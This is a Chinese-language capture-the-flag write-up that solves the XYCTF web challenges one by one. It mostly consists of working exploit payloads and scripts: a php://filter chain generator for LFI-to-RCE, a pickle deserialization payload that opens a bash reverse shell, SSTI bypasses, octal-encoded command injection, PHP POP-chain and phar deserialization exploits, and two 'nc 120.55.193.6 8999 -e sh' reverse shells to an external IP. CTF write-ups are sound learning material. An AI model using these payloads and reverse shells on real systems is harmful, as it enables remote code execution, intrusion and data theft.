warm up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}

md5 弱比较直接数组或者 0e 绕过

md5 自相等也直接用现成 payload : 0e215962017

extract() 把变量覆盖掉

不难发现XYCTF_550102591其实是一个出题人特制的字符串

md5(‘XYCTF_550102591’) = ‘0E937920457786991080577371025051’

exp

1
index.php?val1[]=1&val2[]=2&md5=0e215962017&XYCTF=s878926199a&XY=s878926199a

/LLeeevvveeelll222.php

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}

intval参数如果是有内容的数组返回1,可以用这个特性操作它

a[]=1

preg_replace 的 /e 修饰符使其将中间的 replacement 部分当作代码执行

1
2
GET:?a=/a/e&b=system('cat /flag')&c="a"
POST a[]=1

将 a 全部替换为 cat /flag 后的内容,不就是 flag 吗

ezLFI

filter 链条

下载附件源码:

1
<?php include_once($_REQUEST['file']);

诶呀这不filter链嘛

贴别人的脚本秒了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests

#参数file
url = "http://localhost:51650/index.php"
file_to_use = "/etc/passwd"
command = "/readflag" #正常做题的话应该先是ls根目录发现有readflag文件并且flag无法直接通过cat读取,再用/readflag

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"
print(final_payload)
r = requests.get(url, params={
"0": command,
#"action": "include",
"file": final_payload
})

print(r.text)

login

目录扫描

–》

Starting:
1
2
[10:12:36] 200 -  547B  - /login.php                                        
[10:13:36] 200 - 556B - /register.php

先注册,再登录

登录后点击 redirect ,抓包

==》

RememberMe=gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBYZSMA3B3ZJRoBnViLg==

解码后是类似 pickle 的形式

1
BM¹¾I$’I$’I°*`2Ý°—ˆ_ô%^Vܸ»Ê¸?ÝNM^ó UVÈ%óÝ°9CöÝX•~R½

考虑 pickle 反序列化

经过测试一下,发现过滤了字符 r,也就是不能用 R 指令,那我们用其他指令即可

1
2
3
4
5
6
7
import base64
op='''V__setstate__
(S"bash -c 'bash -i >& /dev/tcp/X.X.X.X/port 0>&1'"
ios
system
.'''
print(base64.b64encode(op.encode()))

把网页主页的 cookie 改为这个脚本生成的 payload,再拿服务器反弹 shell 即可

give me flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{
highlight_file(__FILE__);
die($FLAG_md5);
}

$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();

if(md5($FLAG.$value.$time)===$md5)
{
echo "yes, give you flag: ";
echo $FLAG;
}
cc730a4fdf0b9c30e6adbd899d4a1a0f

做不出

我是一个复读机

ssti

扫描得到 /console

1
2
Console Locked
The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server.

但似乎没什么用

admin 账号密码爆破 –》 admin:

密码是asdqwe

进去之后有个IO界面

只不过禁止了双括号和括号百分号

但是根据题目提示,只让输英文,我们输入中文字符,发现中文字符后,有双括号出现,并且是两个中文字符才有

因此我们猜测不是英文的字符会被replace之类的,试图SSTI

我们不妨输入

二1+1三

后边我的两边夹的就是一(yi)了,因为好看)

过滤了

“ , ‘ [ ] flag _ os
等,没有过滤request,考虑用request.arg用get绕过

构造

1
?sentence=星(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()星&a=__globals__&b=os&c=cat%20/flag

在c处有shell

fenjing 一把梭

ezLFI

1
<?php include_once($_REQUEST['file']);

php://filter 可读

php://input

filter_chains exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# -*- coding: utf-8 -*-
import requests

#����file
url = "http://gz.imxbt.cn:20501/"
file_to_use = "/etc/passwd"
command = "/readflag" #��������Ļ�Ӧ������ls��Ŀ¼������readflag�ļ�����flag�޷�ֱ��ͨ��cat��ȡ������/readflag

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"
print(final_payload)
r = requests.get(url, params={
"0": command,
#"action": "include",
"file": final_payload
})

print(r.text)

ezRce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

一眼无字母RCE,典中典了属于是,八进制绕过就好

知识点:linux中使用$’xxx’(xxx为字符的八进制)的形式可以执行任意代码

1
$'\154\163' //执行ls

发现可以成功执行

但是八进制的执行方法不能执行带有参数的linux命令,如cat /flag(/flag为参数)或ls -la(-la为参数)

具体原因参照bash的单词分割机制

但是出题人还是想给我们flag的,网开一面留了个’<’号

众所周知,重定向符号可以代替命令中的空格

所以payload就浮出水面啦!


题目中是 system($cmd),允许数字,’ , < ,\

cat –> ( 8 进制 ) \143\141\164

\flag –> \57\146\154\141\147

exp

1
$'\143\141\164'<$'\57\146\154\141\147'

ez_class

php原生类 rce

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());

php原生类 参考 https://www.php.net/manual/zh/error.getmessage.php

所以基本思路就是创建两个error类分别给system和cat /flag两个参数,再用getMessage方法把输进去的参数当作字符串返回

示例:

1
GET: ?a=Error&aa=system&c=getMessage&b=Error&bb=ls

等同于:

1
((new Error('system'))->getMessage())((new $Error('ls'))->getMessage());

等同于:

1
system('ls')

构造payload拿到flag

最终payload

1
GET: ?a=Error&aa=system&c=getMessage&b=Error&bb=cat%20/flag

ez_http

/robots –》 账号密码

exp

1
2
3
4
5
Referer: yuanshen.com // 从yuanshen.com来的
User-Agent: XYCTF // 用XYCTF浏览器
Client-IP: 127.0.0.1 // 本地用户,不用xff(X-Forward-For)
Via: ymzx.qq.com // 从ymzx.qq.com代理
Cookie: XYCTF // XYCTF的小饼干(Cookie)

ex_MAKE

Makefile Content:

1
2
3
4
5
6
7
8
9
10
11
SHELL := /bin/bash

ifndef PATH
override PATH :=
else
override PATH :=
endif

.PHONY: FLAG
FLAG: ./flag
3

解释

  1. SHELL 设置:明确指定使用 /bin/bash
  2. PATH 设置:清空 PATH,确保后续命令只能使用当前目录下的可执行文件。
  3. .PHONY 目标:定义 FLAG 为一个伪目标,确保即使存在同名文件,make FLAG 也会执行。
  4. 生成 ./flag 的规则:添加了生成 ./flag 的具体步骤,这里只是简单地创建一个空文件。

使用方法

运行以下命令来执行 FLAG 目标:

bash复制

1
make FLAG

这将生成 ./flag 文件。

如果你有更具体的需求,比如从源代码编译生成 ./flag,可以进一步调整规则。例如:

makefile复制

1
2
./flag: flag.c
$(CC) $(CFLAGS) -o ./flag flag.c

这样,./flag 将由 flag.c 编译生成。


正常做法是makefile读取文件内容,在Makefile中,你可以使用$(shell)函数来读取文件内容。

假设你的文件名为file.txt,你可以使用以下命令来读取文件内容:

1
content := $(shell cat file.txt)

上述命令将文件file.txt的内容存储在变量content中。你可以根据需要将其用于后续的操作。

如果你需要按行读取文件内容,可以使用$(shell)函数和foreach函数的结合:

1
lines := $(shell cat file.txt) $(foreach line,$(lines), \ $(info $(line)) \ )

把file.txt改成flag即可。

==》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Makefile
Enter Command:
content:=$(shell cat flag)

Makefile Content:
SHELL := /bin/bash

ifndef PATH
override PATH :=
else
override PATH :=
endif

.PHONY: FLAG
FLAG: ./flag
$(shell cat flag)
Output:
XYCTF{22f63a5d-1f31-4622-a0ae-7ecb3fcc3865}
/bin/bash: line 1: XYCTF{22f63a5d-1f31-4622-a0ae-7ecb3fcc3865}: No such file or directory
make: *** [Makefile:11: FLAG] Error 127

因为这里的 PATH 环境变量没有了,所以 $() 包一下shell来执行 cat 即可

ez?_MAKE

1
2
3
4
SHELL := /bin/bash
.PHONY: FLAG
FLAG: /flag
1

FUZZ 一下,过滤了很多命令,直接反弹shell就行了

exp

1
nc 120.55.193.6 8999 -e sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

#man,,manba out

字符串长度不超过 13 + 内容过滤

未过滤 $ _ ,构变量逃逸

记得eval中的命令都必须要加分号。

1
?cmd=eval($_GET[1]);&1=system('ls');

注:

1
$cmd = eval('system("dir");');

这样的命令才是正确的

过滤了 eval 使用反引号rce

1
?cmd=`$_GET[1]`;&1=system('ls');

%0a 绕过 注释

井号注释掉后面的内容

exp1

1
?cmd=%0a`$_GET[1]`;%23&1=nc 120.55.193.6 8999 -e sh

exp2

$val_val 未过滤掉 $,,数字,直接8进制绕过

1
?cmd=%0a`$_GET[1]`;%23&1=$'\143\141\164'<$'\57\146\154\141\147'   //cat < /flag

因为没有回显,所以不能用这个

1
?cmd=%0a`$_GET[1]`;%23&1=$'\143\160'+$'\57\146\154\141\147'+$'\61\56\164\170\164'    //cp /flag 1.txt

访问 1.txt ,得到命令执行内容

MAKE file 白名单

1
/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/
1
2
3
4
5
6
7
8
9
10
11
SHELL := /bin/bash

ifndef PATH
override PATH :=
else
override PATH :=
endif

.PHONY: FLAG
FLAG: /flag
$

需要利用makefile的自动变量

https://www.cnblogs.com/lelin/p/11152780.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
二、$@、$^、$<

这三个分别表示:

$@ --代表目标文件(target)

$^ --代表所有的依赖文件(components)

$< --代表第一个依赖文件(components中最左边的那个)。

$? --代表示比目标还要新的依赖文件列表。以空格分隔。

$% --仅当目标是函数库文件中,表示规则中的目标成员名。例如,如果一个目标是"foo.a(bar.o)",那么,"$%"就是"bar.o","$@"就是"foo.a"。如果目标不是函数库文件(Unix下是[.a],Windows下是[.lib]),那么,其值为空。





' - ' 符号的使用

通常删除,创建文件如果碰到文件不存在或者已经创建,那么希望忽略掉这个错误,继续执行,就可以在命令前面添加 -,
-rm dir;
-mkdir aaadir;

' $ '符号的使用
美元符号$,主要扩展打开makefile中定义的变量

' $$ '符号的使用
$$ 符号主要扩展打开makefile中定义的shell变量

那么,在这个环境中 $< 就代表 flag,$$ 就代表指定的 shell

exp

1
$$(<$<)			/这样重定向直接报错带出 flag

连连看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
die("waf!");
}

$payload="php://filter/$p/resource=/etc/passwd";

if(file_get_contents($payload)==="XYCTF"){
echo file_get_contents('/flag');
}

一眼 filter链指定数据读取

–chain “XCTF”

同时处理脏数据,利用 string.strip_tags 剥离页面标签

1
python php_filter_chain_generator.py --chain "XYCTF<?php"

修改payload打入即可

ez_pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}

class CCC
{
public $c;

public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}


if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}
1
CCC.__destruct -> AAA.__toString -> BBB.__get 

关键部分解释

1
2
3
4
5
6
7
8
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);

$a 为 post 传入的 a 值,$b 是 post 传参的数组,如果 post 数组里存在 a,就移除 $b 数组中 a 这个键,那么$b 就是一个不含a键的数组

传入 a=implode&b=strrev ,c=metsys,$d=ls

等价于 call_user_func(‘implode’,[“strrev”])(‘metsys’)(‘ls’)

现在就有整体思路了,先 array($c,null) 然后 i:1 -> i:0 绕过回收机制,然后进入简单的链条,利用 call_user_func 命令执行

1
2
3
http://gz.imxbt.cn:20668/?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"metsys";s:1:"d";s:9:"cat /flag";}s:1:"a";s:7:"fuckyou";}}i:0;N;}

a=implode&b=strrev

ezSerialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);

class Flag {
public $token;
public $password;

public function __construct($a, $b)
{
$this->token = $a;
$this->password = $b;
}

public function login()
{
return $this->token === $this->password;
}
}

if (isset($_GET['pop'])) {
$pop = unserialize($_GET['pop']);
$pop->token=md5(mt_rand());
if($pop->login()) {
echo $flag;
}
}

引用绕过即可

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class Flag {
public $token;
public $password;
}

$exp = new Flag();
$exp -> password = &$exp -> token;
echo serialize($exp);

//O:4:"Flag":2:{s:5:"token";N;s:8:"password";R:2;}

下一关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}

class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}

class C {
public $wang1;

public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag2;
}
}


class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}

class E {
public $name = "xxxxx";
public $num;

public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}

if (isset($_POST['pop'])) {
unserialize($_POST['pop']);

E#__unserialize -> D#__toString -> B#__get -> A#invoke -> C#__call

这里会先调用 __unserialize,因为没有 __serialize() 返回数组,所以这里 $data 会被当作键值对,$data[‘num’] 可看作是 num 属性值

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class A {
public $mack;
}

class B {
public $luo;
}

class C {
public $wang1;
}


class D {
public $lao;
public $chen;
}

class E {
public $name;
public $num;
}

$e = new E();
$e -> num = new D();
$e -> num -> lao = new B();
$e -> num -> chen = "fuckyou";
$e -> num -> lao -> luo = new A();
$e -> num -> lao -> luo -> mack = new C();
echo serialize($e);

下一关: saber_master_saber_master.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;

public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}

class XYCTFNO2
{
public $crypto0;
public $adwa;

public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}

public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}

class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";

public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}

public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}

public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}


if (isset($_GET['CTF'])) {
unserialize($_GET['CTF']);
}

主要是这一段:$this->adwa->crypto0 != ‘dev1l’ or $this->adwa->T1ng != ‘yuroandCMD258’

我们知道crypto0和T1ng分别在两个类中,adwa不可能既是XYCTFNO2的对象又是XYCTFNO1的对象。

但反序列化的本质,是我们传入的字符串,而不是题目里的,我们完全在XYCTFNO1类里装入crypto0和T1ng两个属性,并让adwa成为这个类的一个Object

后面读取 flag.php 时直接利用原生类

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng = 'yuroandCMD258';
public $crypto0 = 'dev1l';

}

class XYCTFNO2
{
public $crypto0;
public $adwa;


public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}

class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "oSthing";
public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}

public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}

$xy3 = new XYCTFNO3();
$xy3 -> KickyMu = new XYCTFNO2();
$xy3 -> KickyMu -> adwa = new XYCTFNO1();
echo serialize($xy3);
# 原生类利用,读取文件
# X = SplFileObject Y=php://filter/read=convert.base64-encode/resource=flag.php

pharme

源码 –》 class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
} else {
echo 'nonono';
}
}
}

if(isset($_POST['file']))
{
if(preg_match('/^phar:\/\//i',$_POST['file']))
{
die("nonono");
}
file_get_contents($_POST['file']);
1
2
3
4
preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_]+/','',$this->cmd)))这段正则是将输入中的字母、下划线和括号都移除,并将连续的分号替换为字符串 'ch3nx1' ,最后与'ch3nx1'比较判真

其实就是个白名单,只能含有字母A-Z,a-z,下划线_和左右括号(),其实也就是无参RCE
此外,eval中的字符串是拼接的,且不能用#和//进行注释,则要用__halt_compiler来终止编译

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class evil {
public $cmd="readfile(array_rand(array_flip(scandir(dirname(dirname(dirname(pos(localeconv()))))))));__halt_compiler();";
}
$a=new evil();

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

上传遇到 hacker

后端会检查我们上传的文件里是否含有__halt_compiler();

这里会检测文件的后缀,抓包将压缩包名称改为改为 png 即可

1
2
3
Content-Disposition: form-data; name="file"; filename="phar.jpg"
Content-Type: image/png

上传成功后,在 class.php 处进行 file_get_contents($_POST[‘file’]);读取 ,利用 phar为协议

现在需要绕过以 phar 开头

法一:

1
compress.bzip://phar:///test.phar
1
compress.bzip://phar:///tmp/ed54ee58cd01e120e27939fe4a64fa92.png

法二:嵌套伪协议

1
file=php://filter/convert.base64-encode/resource=phar:///tmp/23f1a0f70f076b42b5b49f24ee28f696.png

参考

https://www.yuque.com/infernity/wps/rfpnkn0293l7cp09#ezMake

https://www.cnblogs.com/LAMENTXU/articles/18147817

题解全 https://blog.csdn.net/uuzeray/article/details/138274291